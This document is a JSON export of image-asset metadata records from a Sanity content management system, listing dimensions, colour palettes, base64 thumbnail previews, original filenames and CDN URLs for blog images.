{"_createdAt":"2024-08-19T07:23:51Z","_id":"image-b7a2ccae6a35b3043cf5acaffe90240d05cde743-1567x844-png","_rev":"8LlKqJjbNRckfBQsLR5G2x","_type":"sanity.imageAsset","_updatedAt":"2024-08-19T07:23:51Z","assetId":"b7a2ccae6a35b3043cf5acaffe90240d05cde743","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MABCvd0v#lOw:|StXr}O0,tR%2R4E,-6$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADCElEQVQokS3TW0/TBxzG8b6BDbQtPZdSKlQo9k9HO862/AuUHoSWUrr+AelBSGuxoDDAKkpBlEqUDZJNt7iEnWPM1ERm4rKLZbvYEnaz6MWSZcku9ja+C7A38Mkvz/P8ZG8ph6lQjVCpjnFCm0Cum0BhSKE0TqEyXURtLqCuvYzGsoD21DJ66yoWYRdbx2OcPc+JhXbZyWT5pRjmn80+ZHLdKDWnk9Tbp7EKOWwtBc645rG7FhFaizjab2BvvYnNtUqdcBPj6RJm+wc0tn9Li+c5Q/4H3JoosD8f549SCJm6OoHwbp6zfYuIA9fwnSvhD28wMHQH32CZQOQevqH7iMH7tPVsUe/YoNa+TWPblzSffYpH/JSZyCIPp5J8N5tApjFJtHQU6AtdJxgpMThym8HYIVTGG7yDN1BGDGwhBu/h8W9jb7tLvWMboXMPp+cxXV0fkRYvszaYZDUyhUz1/4XuviV6gyv0hVbpP7eON3ALR/s1rMIy9UIRq2OFhpYSVscGTa07dPR/TW/oCWP9d7ktxtgR/dxwx5Gd1MQw1p0/ytDWkqfJOXuU4RnX+9Q0zB2XYp5DU7uA1rJMjW0dp/sT+iPPiCb2uTqyydOAhxe9zTzq8SA7bPltVZRKzShynYTScJ6q6jQq0zRV1TlUphmMpwpYG2dpbJqn6Z01un17hMdeIaV/Yk76jIchiW/6RXa9kUMwQoVymMrD6Wjeo1IzzgntJHJ9BoUhi9Y8g1PIkfBmyAXTTIaWiMa+QLrwM6n8AdLED0j+B6S8ZeLih8gUVWFM+ihmyzjGuhQqUxK5PonCcAGFMYehNk+gI0N5LM6TS2H2CtMsXdxjevaA3MIb4ulf6Rp4iUvcxyl+j0ylClNfHaWhYRKLbQqtOX0M6o9BfW2eYGeGj9NRDlZ8/LY+wU7xc65cfcOV638znv2dTv8rmj0vEdz7yCqUEeSqYRS6URR66ehTTuqOQaUxi7pmhjZHlk1plNelXv7ckni09hXF1b9YXvuX1KXXdAd/RHC/wN79jP8AlpqyN6xXLuEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4571","foreground":"#fff","population":0.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04126e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#755872","foreground":"#fff","population":4.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4aacf","foreground":"#000","population":0.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69c3d","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#755872","foreground":"#fff","population":4.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df4b11","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"The Intersection of Compliance and Risk vs Security .png","path":"images/sczeoy4w/production/b7a2ccae6a35b3043cf5acaffe90240d05cde743-1567x844.png","sha1hash":"b7a2ccae6a35b3043cf5acaffe90240d05cde743","size":247745,"uploadId":"ZUIOY15kEmpcYzZomXrZv7jqr4B0E55L","url":"https://cdn.sanity.io/images/sczeoy4w/production/b7a2ccae6a35b3043cf5acaffe90240d05cde743-1567x844.png"} {"_createdAt":"2023-06-13T11:27:07Z","_id":"image-b7c568fd0c2b287b5a2ec7fe0cacdcf9e9a1a8f4-6000x4000-jpg","_rev":"FJE9FJz5NeK3Yo2P5La7U6","_type":"sanity.imageAsset","_updatedAt":"2023-06-13T11:27:07Z","assetId":"b7c568fd0c2b287b5a2ec7fe0cacdcf9e9a1a8f4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V45q*HrCITR-V?PXnMrWt8niNKg3rpS%NyWBX9adaxSi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCBAYI/8QAIBAAAgIBBAMBAAAAAAAAAAAAAQIDEQAEBRIxISNRQf/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAHBEAAQUAAwAAAAAAAAAAAAAAAgABAxEhBBIT/9oADAMBAAIRAxEAPwDn/abE6JFKON+aPYx1FqVMxjkioHpszu2p7ALot+jxWTk5pKwEjUD97yYzED0KtJxxk0lf1e3NJOzQsgQ9D5hijUSMslKzAVfeGPsz7SHmTZa//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4356","foreground":"#fff","population":3.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d4121","foreground":"#fff","population":3.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c4356","foreground":"#fff","population":3.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e492a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dab99f","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#888468","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b77946","foreground":"#fff","population":1.52,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"pexels-nancy-bourque-2244823.jpg","path":"images/sczeoy4w/production/b7c568fd0c2b287b5a2ec7fe0cacdcf9e9a1a8f4-6000x4000.jpg","sha1hash":"b7c568fd0c2b287b5a2ec7fe0cacdcf9e9a1a8f4","size":2038915,"uploadId":"yUAWFxrcFCk2qNK3YHA3zxef0HXIUSdM","url":"https://cdn.sanity.io/images/sczeoy4w/production/b7c568fd0c2b287b5a2ec7fe0cacdcf9e9a1a8f4-6000x4000.jpg"} {"_createdAt":"2023-05-19T14:56:00Z","_id":"image-b7e0dffb4cfa3ef230d9a58b6ee4db5b7283d160-120x24-svg","_rev":"4JMA3H9bBgAwAcyypHVQcx","_type":"sanity.imageAsset","_updatedAt":"2023-05-19T14:56:00Z","assetId":"b7e0dffb4cfa3ef230d9a58b6ee4db5b7283d160","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"42R1Zl~6ju~6j@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5,"height":24,"width":120},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAXUlEQVQYlaWMsQ2AMBADM4bb7ECRSSgQUooMAMwFbWAAj+UGWfoBiChO8hW+JCKLmIP815OIKuIScYpYAu9Rd6M62EQ8Im4Ra+A94j0azcEi4hCxiZiCPfjq/rpRXroUsvh2tNE5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56443b","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b4c04","foreground":"#fff","population":0.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c40e","foreground":"#000","population":15.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b99c71","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c424","foreground":"#000","population":6.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac9c54","foreground":"#000","population":0.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c40e","foreground":"#000","population":15.03,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Rating-5-star.svg","path":"images/sczeoy4w/production/b7e0dffb4cfa3ef230d9a58b6ee4db5b7283d160-120x24.svg","sha1hash":"b7e0dffb4cfa3ef230d9a58b6ee4db5b7283d160","size":8644,"uploadId":"Tw7KreMSpaxqpMyxjuneC4c7DaGFh27B","url":"https://cdn.sanity.io/images/sczeoy4w/production/b7e0dffb4cfa3ef230d9a58b6ee4db5b7283d160-120x24.svg"} {"_createdAt":"2024-06-25T19:14:55Z","_id":"image-b7f7775ad6789999b15c24087441f9561867eb66-1703x447-png","_rev":"m4mXZHpK6l56U588DBP1FN","_type":"sanity.imageAsset","_updatedAt":"2024-06-25T19:14:55Z","assetId":"b7f7775ad6789999b15c24087441f9561867eb66","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D57UZFRwo}knES_4kEX8o|I[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.809843400447427,"height":447,"width":1703},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAACToAAAk6AGCYwUcAAABWUlEQVQYlR3P327SUADA4b6Cd2KMWYGm0J72tOuhtJ382TLtpskWNVlivHNeGJYQeuEMbtIibuJgFhZ83p+RF/iST+ud/kT1v2EHGYYY8tQYULMzjtNfnL1ZEXdniDDHjX8gkxtkdIulbui9uOX8fM7puyWqu8IKS3acBdrB+wXRUY4Xf6HpjahaQxz1lVdHc06O7wiiHEt9R4QFIpxit2bIeE4vXfD2bEl6UhIdPCD31hj+PZp6neP1x3jRfzDDcEbI9ph2J0fFE4S6wgknuFFBMygw/Sm7e79JDv/QeVnSTR/opH8J9zfY7RXaE/MTuhhsyw05Qm8OqYkM07uk4Y+xg6st5kZTGrs5dbfYlr3kjqBzT3t/TXy4odXfIKI12qPKByr6R6rWBXrzgor+mcf6gGdmRk1cYrhjTP8a059QlxNqTk5VFNTlDLs1x0uW+M9LZLKioUr+AaMMva3q+CYYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414884","foreground":"#fff","population":1.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":6.89,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2887","foreground":"#fff","population":8.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c0dc","foreground":"#000","population":5.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#809acf","foreground":"#000","population":1.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666ea9","foreground":"#fff","population":3.99,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2887","foreground":"#fff","population":8.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"change data capture.PNG","path":"images/sczeoy4w/production/b7f7775ad6789999b15c24087441f9561867eb66-1703x447.png","sha1hash":"b7f7775ad6789999b15c24087441f9561867eb66","size":110652,"uploadId":"FX59qcAQ7CSJtQ7ZSG4c8Dn9zlohMNtw","url":"https://cdn.sanity.io/images/sczeoy4w/production/b7f7775ad6789999b15c24087441f9561867eb66-1703x447.png"} {"_createdAt":"2022-06-30T19:59:58Z","_id":"image-b7fe72b840501b9dd1cf3da9158da4cf6e51a5c5-929x116-png","_rev":"waESC1SXj0AdlOPdeM3q70","_type":"sanity.imageAsset","_updatedAt":"2023-02-20T09:08:02Z","altText":"Message displayed","assetId":"b7fe72b840501b9dd1cf3da9158da4cf6e51a5c5","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"43S$ov~q_3ozof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.008620689655173,"height":116,"width":929},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAUUlEQVQImUWNQRLAIAgD+/8HQ0AwneC0HjIILOuTmVS6m9XNyGREEApAc6eZnTrv27v7MN/93psPEHSAa9WRVv1ZVQPrAzFXaiPTTELtxUv4ApG+nK4I0mL6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3a3a3","foreground":"#000","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"b7fe72b840501b9dd1cf3da9158da4cf6e51a5c5-929x116.png","path":"images/sczeoy4w/production/b7fe72b840501b9dd1cf3da9158da4cf6e51a5c5-929x116.png","sha1hash":"b7fe72b840501b9dd1cf3da9158da4cf6e51a5c5","size":18745,"title":null,"uploadId":"Ml0uARPkBF1ArM2jTrGsJbpxtHTQmeAl","url":"https://cdn.sanity.io/images/sczeoy4w/production/b7fe72b840501b9dd1cf3da9158da4cf6e51a5c5-929x116.png"} {"_createdAt":"2023-02-16T17:13:43Z","_id":"image-b868791544712892e91c639f202dc1c1eb27edee-1567x844-jpg","_rev":"ZxzZ1hFw7v7VMlheReu0yh","_type":"sanity.imageAsset","_updatedAt":"2023-02-16T17:13:43Z","assetId":"b868791544712892e91c639f202dc1c1eb27edee","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M85iBU-;Rjj[Rj_4x]M{bHRj%MjuV@t7j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwf/xAAeEAABBAIDAQAAAAAAAAAAAAACAAEEIRExAwUSQf/EABYBAQEBAAAAAAAAAAAAAAAAAAIFBv/EABgRAQEAAwAAAAAAAAAAAAAAAAABAhEx/9oADAMBAAIRAxEAPwDIg7WA3GDHAFyZsO9WleTs/Tl4jRxHNZC0jI0GtKv4K1ExiJu8BWTvVoUPtCYP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523246","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":70.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":70.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#90a1c0","foreground":"#000","population":0.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcdc","foreground":"#000","population":0.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7c6c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54840","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Notes_on_an_OpenSearch®_Fireside_Chat_blog.jpg","path":"images/sczeoy4w/production/b868791544712892e91c639f202dc1c1eb27edee-1567x844.jpg","sha1hash":"b868791544712892e91c639f202dc1c1eb27edee","size":52757,"uploadId":"HCLNUrV7Y3K44y5tEAsecuMxuSrYykhI","url":"https://cdn.sanity.io/images/sczeoy4w/production/b868791544712892e91c639f202dc1c1eb27edee-1567x844.jpg"} {"_createdAt":"2023-10-27T11:03:45Z","_id":"image-b8aaf6c5b5fb9b3eb6bba9f7f6353350334fae4e-6048x4024-jpg","_rev":"Hl0n8vwXwRlkg63bguTtgS","_type":"sanity.imageAsset","_updatedAt":"2023-10-27T11:03:45Z","assetId":"b8aaf6c5b5fb9b3eb6bba9f7f6353350334fae4e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V*K-a,xu%ffixt~qRjfSafWC%goLRjofRkxuj[M{WBWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.502982107355865,"height":4024,"width":6048},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHCP/EACQQAAEEAQMEAwEAAAAAAAAAAAECAwQFAAYREgchMUETImFR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwAB/8QAGhEAAwADAQAAAAAAAAAAAAAAAAECERJRMf/aAAwDAQACEQMRAD8ArOruoqKaQyxUQlTgByeKT3bH6MTB1nsw8iQ/AbRDW5xSPZ/MWeoly7pvV9nNhtpU7KZQkhR+qfXYZHb2xkyoUwPOkhp3kjbtxJ87Zkt14ItYWaNrVurK+ygMS0NE/IkE7Hwf5hmLtP62uqCuEOHKWWuRcG6vBOGWL6C2uH//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e5f5d","foreground":"#fff","population":0.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#602416","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccb9bc","foreground":"#000","population":6.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb9bc","foreground":"#000","population":6.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e58f86","foreground":"#000","population":0.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#956a55","foreground":"#fff","population":1.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be4a48","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"b8aaf6c5b5fb9b3eb6bba9f7f6353350334fae4e-6048x4024.jpg","path":"images/sczeoy4w/production/b8aaf6c5b5fb9b3eb6bba9f7f6353350334fae4e-6048x4024.jpg","sha1hash":"b8aaf6c5b5fb9b3eb6bba9f7f6353350334fae4e","size":1082685,"uploadId":"wc2dOQPC5REU54D3aYqgJqk3PuMWsAvO","url":"https://cdn.sanity.io/images/sczeoy4w/production/b8aaf6c5b5fb9b3eb6bba9f7f6353350334fae4e-6048x4024.jpg"} {"_createdAt":"2024-07-17T12:54:12Z","_id":"image-b8cbad57d7c3262bf8c339fba325e295bef25590-1600x1226-png","_rev":"IN03FCy14OOjYlZR2lpWCa","_type":"sanity.imageAsset","_updatedAt":"2024-07-17T12:54:12Z","assetId":"b8cbad57d7c3262bf8c339fba325e295bef25590","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VNJQ=:bv0yn44nQ-_NXTrWof0KE1xGxtxu9tDiwIEfo}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3050570962479608,"height":1226,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABwgAAAcIAHND5ueAAAEfUlEQVQ4jS2SfWwTdRzGv90GDhjKGGQGQoIJQSJIopU3EQxhEN5MlAwyxuuiYctgU8FgQlQ0IqAJJEQElD+IM5ZUGMhLGI6B69iL3bpua9mu67Udvd5d21uv7dq73u+ud/2aKn88ef56PnmS54HUBA/rNx8rW7qs7t0l5trqJeba/a+9cXDnyrUfv3n+wo0ZiHrRtRuPTSHbbZB6WyDD+iHj7gLS1gTZJ1bI+QcAASANAJgcB4hGI8XXm22bT3zb9GvDpxf/qW/80dF45KLt8pV7v4RY4ZNsVtsQj8VmhSsAusM5wHQiHzap86CIzIWCOADou6aDUTkJkIgAkUiklGEix/v6R5n7rX25P+/1GK2PnZrHG4pnFOLXs9rVTCS4XNtbVowHZk82rh6djJc+KsHT22bi2coStH5RgEsBcBMAZmIAHB8u0zTtVFpWRCrAYq+bNp6Fx3NJWUGSzeZ0Te1QgyNbsrtKZqln98wVHbbVnLO3Ouy01yTp4Qo5zM5utw0BIoKeSuSBfJmuZ08qRBV8DIcDlE/nxkU9qRBDVrWspqrtajiwSa+aWoo3zyyM0VR9gKItAYq+JYS4r9SJ5KI8LC8lHgPgef4lVVVrFULux8R4N8/z3clEokdWSFdGVZ8Qol5QJuLmaFX5C/6mcy+P9Do3Ojr7G/ps9s8G7UM7ep4451VXHi+AGoTUuADAsuwkWZYXKoRUKOnUViXCvK9EmQ8UKb0tQ8gWSZZXGro2c/2qfcULF+1ZbF5Rt2NjRePBrRsa6t5+59D+BYtr1s2ZXzULpqyBW/e6AGiahliEK0iouSJ5qH2Sfq56Kp7eNhW7m4oQsfD+7bbCvJ//6eaCdZuOHV9irm03r6wfWLH68MDSt+oc5lWHLUc+/7lSEMRyw1BNQFEeeIoI6dF+IC1XClOdd8qjfR2LGGr0VZ7h5wdHfS8i4rTePmr7yTMW2+4D36tVe0/jnpofcOfuU7nGo5diDx/135Ezme2JRHwKMMFnIMcEQEmAbDz6YpzjKse8Y5eHXbSF9oydC/v9GzDqm8OFuPq/2x30b5YWtFjbjBs3bTnr9cfGw0d9yISiPCHkS0EQZgBe+xrUdOq/lZBIpYlx8ZDPG+x0Okc9wy66lfd49qKn65UoE2i02+1jD9se4eCgK+f1+tDlepp7OjyCPB8WJUn6ThCEmYCWE6BLz4GqXJyKicvH6OCHQ05PA+X27uOpkdcx7C2PcKF6h8Mx2tXVqft8Po3nOY2mvSpFUQbLsuFUKvWNIAilkLtYByhygPoEYJI3aQI7WRzzl7Aez3TB7ysRPa4iTSXTEonkexzHXWVZ9q9kcuKBJEkPRFFsiUajrYlE4g9JkvbzPD8dsOcWIBr/N0QEklEgGIyAyx0AigpCbFyEeDxemE6n52QymWWEkLWapq3JixCyRlGUtYqirJIkaT7DMEWAtt/B0NTnQAPSE2nw+TnoH6BhZOQZRHgBYkIUBgcHoaOjw3T37l2T1Wo1NTc3m9ra2kx2u93kdrtN+fsFAgH4F0JlJTl9+E3RAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31345c","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#510b04","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#adb8c6","foreground":"#000","population":0.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb8c6","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5a8d5","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5484a5","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f3f1d","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-ai-powered-database-optimizations.png","path":"images/sczeoy4w/production/b8cbad57d7c3262bf8c339fba325e295bef25590-1600x1226.png","sha1hash":"b8cbad57d7c3262bf8c339fba325e295bef25590","size":220644,"uploadId":"a3Y2uZyIEJVbMSDgX86D53osQaVqbwio","url":"https://cdn.sanity.io/images/sczeoy4w/production/b8cbad57d7c3262bf8c339fba325e295bef25590-1600x1226.png"} {"_createdAt":"2023-06-30T15:43:15Z","_id":"image-b8d957b3c39a8db55a10737cf8043c0d7b80b854-800x1200-jpg","_rev":"wI5nx9l7f6wNW7iVDfjIId","_type":"sanity.imageAsset","_updatedAt":"2023-06-30T15:43:15Z","assetId":"b8d957b3c39a8db55a10737cf8043c0d7b80b854","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dfMG*XEL*0-o-q%Mxvay57n$R4Ipx]Rjt7j@tSofsSWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":1200,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAABwAGAwX/xAAkEAABBAEEAgIDAAAAAAAAAAABAgMEBQAGESExBxITFCNBYf/EABUBAQEAAAAAAAAAAAAAAAAAAAQD/8QAGxEAAgMBAQEAAAAAAAAAAAAAAQIAAxEEEzH/2gAMAwEAAhEDEQA/AEvX9tK03pB+bXoSqcohtgK69jhpTzfJVNFXeWj7M+APyPR9+Qn+Yh+eGgjSERSXyyUyAQQN+c5aeiy51SmM7MbfjSYyQUBPPsRzkei9kbBGcvMtlZJmnpZTdxUxLBhJDchsOAHsb5Z71PVt11VEhpSAGWwgAZY0No2AK4cg95I19CuaV+uiRQ8ELBS6vrcH9ZofGstaoMd+QlpHxIGyUdHBbSIQ6EIeT7pV2DieJwr65DcVsICtk8YW2n0YHYuno8kK59jAqchzZQIG463yw0rriR9YAE9nvLEQs//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#54352e","foreground":"#fff","population":2.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69221a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c4ae","foreground":"#000","population":5.93,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccd4e1","foreground":"#000","population":5.11,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c4ae","foreground":"#000","population":5.93,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a26958","foreground":"#fff","population":1.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d25a4c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"francesco-tisiot.jpg","path":"images/sczeoy4w/production/b8d957b3c39a8db55a10737cf8043c0d7b80b854-800x1200.jpg","sha1hash":"b8d957b3c39a8db55a10737cf8043c0d7b80b854","size":93847,"uploadId":"pbjbI33bDoxgnmCaeuYOiDyORgLfVVZD","url":"https://cdn.sanity.io/images/sczeoy4w/production/b8d957b3c39a8db55a10737cf8043c0d7b80b854-800x1200.jpg"} 